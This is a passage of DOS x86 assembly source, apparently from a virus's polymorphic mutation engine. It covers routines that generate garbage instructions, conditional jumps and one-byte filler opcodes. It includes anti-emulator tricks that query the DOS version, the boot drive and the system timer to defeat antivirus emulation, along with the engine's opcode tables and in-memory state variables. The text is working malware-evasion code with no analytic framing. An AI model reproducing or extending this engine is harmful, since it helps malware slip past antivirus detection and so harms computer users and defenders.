        pop     di
        push    ax
        sub     ax,di
        dec     ax
        cmp     ax,7fh
        jbe     ok_lenght_jump
        pop     ax
        jmp     retry_cond_jump
ok_lenght_jump:
        stosb                                   ; put the bytes to jump
        pop     di
        mov     byte ptr ds:[cmp_check],0       ; reset both checks
        mov     byte ptr ds:[cmp_check2],0
        ret

ob_oc   db      98h,0f8h,0cch,0f9h,0fch,0fdh,0f5h,0cch  ; one byters

one_byters:
        call    do_random_dx_0f
        sub     ah,ah
        mov     bx,offset ob_oc
        add     bx,ax
        mov     al,byte ptr ds:[bx]
        stosb
        ret

do_antiemulator:
        cmp     byte ptr ds:[cmp_check2],01h
        jne     cont_antiemu
        jmp     end_antiemu

cont_antiemu:
        mov     cl,ah
        call    do_random_dx_0f
        mov     ah,cl

        mov     bl,byte ptr ds:[nocx]
        mov     bh,byte ptr ds:[count_reg]

        cmp     al,02h
        je      get_bdrive

        cmp     bl,01h
        je      cant_use

        cmp     bh,01h  ; cx
        jne     canuse
cant_use:
        jmp     end_antiemu
canuse:
        cmp     al,01h
        je      get_dos_ver

        cmp     al,06h
        jae     set_wrong_time

        cmp     al,03h
        je      one_byters
        jmp     do_a_call

set_wrong_time:

        cmp     bl,02h                  ; can we use DX ?
        jne     end_antiemu

        cmp     al,06h
        je      withcl
        mov     ah,0b5h                 ; mov ch,
        mov     dl,19h
        jmp     short get_rnd_tset
withcl:
        mov     ah,0b1h                 ; mov cl,
        mov     dl,03dh
get_rnd_tset:
        in      al,40h
        cmp     al,dl
        jb      get_rnd_tset
        xchg    al,ah                   ; store the mov
        stosw

        mov     byte ptr ds:[nocx],01h  ; enable no cx change
        call    do_garbage
        mov     byte ptr ds:[nocx],0ffh ; enable cx changing
        mov     ax,2db4h                ; mov ah,2dh
        stosw
        xor     dl,dl                   ; test al
        xor     dh,dh                   ; compare with 0
        mov     cl,03h                  ; jne
        jmp     store_and_jump



get_dos_ver:
        cmp     bh,03h                  ; can we change bx
        je      end_antiemu

        cmp     bl,03h
        je      end_antiemu

        cmp     byte ptr ds:[point_reg],03h
        je      end_antiemu

        mov     ax,30b4h                ; get dos version
        stosw
        mov     cl,01h                  ; JAE
        in      al,40h
        ror     al,1
        jc      ok_this
        add     cl,04h                  ; JA
ok_this:
        and     al,011b                 ; 0 - 3
        mov     dh,al
        xor     dl,dl
        mov     cl,01h
        jmp     store_and_jump

get_bdrive:
        cmp     bh,02h                  ; is dx usable?
        je      end_antiemu

        cmp     bl,02h
        je      end_antiemu

        mov     al,0b8h                 ; mov ax,
        stosb
        mov     ax,3305h                ; get boot drive
        stosw
        mov     dl,02h                  ; check DL
        xor     dh,dh                   ; compare with 00h
        mov     cl,03h                  ; JNE

store_and_jump:
        mov     ax,21cdh                ; int 21h
        stosw
        mov     al,82h                  ; cmp
        stosb
        mov     al,0f8h                 ; cmp base
        add     al,dl                   ; dl contains register
        mov     ah,dh                   ; dh contains value
        stosw
        mov     byte ptr ds:[emu_trick],01h
        mov     byte ptr ds:[cmp_check2],01h
        mov     al,cl                  ; cl contains type of jump
        call    conditional_jump
        mov     byte ptr ds:[emu_trick],00h
        mov     byte ptr ds:[cmp_check2],00h

end_antiemu:
        ret

do_a_call:
        push    ax
        mov     al,0e8h                 ; make a CALL
        stosb
        push    di
        stosw
        call    do_garbage
        pop     si
        mov     cx,di
        sub     cx,si                   ; calculate offset
        dec     cx
        dec     cx
        mov     word ptr es:[si],cx     ; here we will CALL
        call    do_garbage
        inc     byte ptr ds:[push_nr]
        pop     ax                      ; AH = usable register
        push    cx
        jmp     no_pop_segment          ; pop the IP

instructions:

; the data below this line is of use by the poly to create some of the
; various possible operations on registers in the trash generation part

;ONE BYTE ONLY
inc_16       db      040h    ; INC REG16
dec_16       db      048h    ; DEC REG16
mov_rr16     db      08bh    ; general first byte
; + 0 (03h) ADD
; + 8 (0bh) OR
; + 10 (13h) ADC
; + 18 (1bh) SBB
; + 20 (23h) AND
; + 28 (2bh) SUB
; + 30 (33h) XOR
; + 38 (3bh) CMP
math_rr16    db      03h    ; basic opcode
not_neg      db      0d0h
rot_1        db      0d1h    ; ROL/ROR/SHL/SHR/RCR/RCL/SAR/SAL REG16,1
rot_cl       db      0d3h    ; ROL REG16,CL
; +0h (0c0h)     ADD
; +8h (0c8h)     OR
; +10h (0d0h)    ADC
; +18h (0d8h)    SBB
; +20h (0e0h)    AND
; +28h (0e8h)    SUB
; +30h (0f0h)    XOR
; +38h (0f8h)    CMP
add_r16i     db      0c0h    ; ADD REG16,IMMEDIATE 2 byte
lea_reg      db      0b8h    ; LEA REG16,something

smpe_encrypted_end:

; Poly data start - This will be only in memory!

poly_data_mem:

; must remain in this sequence (since we use SI + x to adress this in the
; main poly loop)

enc_lenght      dw      00h
last_done       db      00h
reg8bits        db      00h

pointer_di      dw      00h
secphs          dw      00h

isword          db      00h     ; 00h = byte  operation
                                ; 01h = word  operation
                                ; 02h = dword operation
isrolror        db      00h     ; 00h = no ROR/ROL
                                ; 01h = ROR/ROL with stable CL
                                ; 02h = ROR/ROL with inc/dec CL
push_nr         db      00h
can_doda        db      00h

count_reg       db     0ffh
point_reg       db     0ffh
nocx            db     0ffh     
seg_sta         db     0ffh

emu_trick       db      00h
inverse         db      00h
cmp_check       db      00h
cmp_check2      db      00h

ds_mody         db      00h     ; 00 don't modify, 01 can modify

counter_pos     dw      00h

jz_nr           dw      00h

no_imm          db      00h     ; 00h use immediate when enc/dec
                                ; 01h use register  when enc/dec

; Poly data end

poly_data_mem_end:


